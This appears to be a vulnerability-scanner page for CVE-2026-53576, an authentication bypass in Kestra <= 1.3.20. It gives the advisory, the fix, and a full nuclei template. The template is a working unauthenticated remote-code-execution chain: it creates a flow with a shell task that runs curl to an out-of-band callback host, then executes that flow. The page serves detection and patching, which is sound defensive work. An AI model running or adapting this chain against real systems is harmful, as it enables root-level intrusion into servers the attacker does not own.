Kestra <= 1.3.20 - Remote Code Execution

criticalseverity

9.8CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.

Impact

Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.

Fix

Update to versions 1.0.45 or 1.3.21 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(body, "KESTRA", "<title>Kestra")
Send: POST /api/v1/main/flows/configs
Positive when: status_code == 200 || status_code == 409 and contains(body, "configs")
Send: POST /api/v1/main/executions/configs/configs
Positive when: contains_any(interactsh_protocol, "http", "dns") and status_code == 200 || status_code == 409

Run it with nuclei: nuclei -id CVE-2026-53576 -u <target>

The full check

id: CVE-2026-53576

info:
  name: Kestra <= 1.3.20 - Remote Code Execution
  author: 0x_Akoko,pdteam,aryu-ru
  severity: critical
  description: |
    Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.
  impact: |
    Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.
  remediation: |
    Update to versions 1.0.45 or 1.3.21 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53576
    - https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-53576
    epss-score: 0.03296
    epss-percentile: 0.88607
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: kestra
    product: kestra
    shodan-query: title:"Kestra"
    fofa-query: title="Kestra"
  tags: cve,cve2026,kestra,rce,oast,intrusive,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "KESTRA", "<title>Kestra")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/main/flows/configs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-yaml

        id: configs
        namespace: configs
        tasks:
          - id: pwn
            type: io.kestra.plugin.scripts.shell.Commands
            taskRunner:
              type: io.kestra.plugin.core.runner.Process
            commands:
              - curl -m 5 -s http://{{interactsh-url}}/rce

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 409'
          - 'contains(body, "configs")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/main/executions/configs/configs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----KestraBoundary

        ------KestraBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'
          - 'status_code == 200 || status_code == 409'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from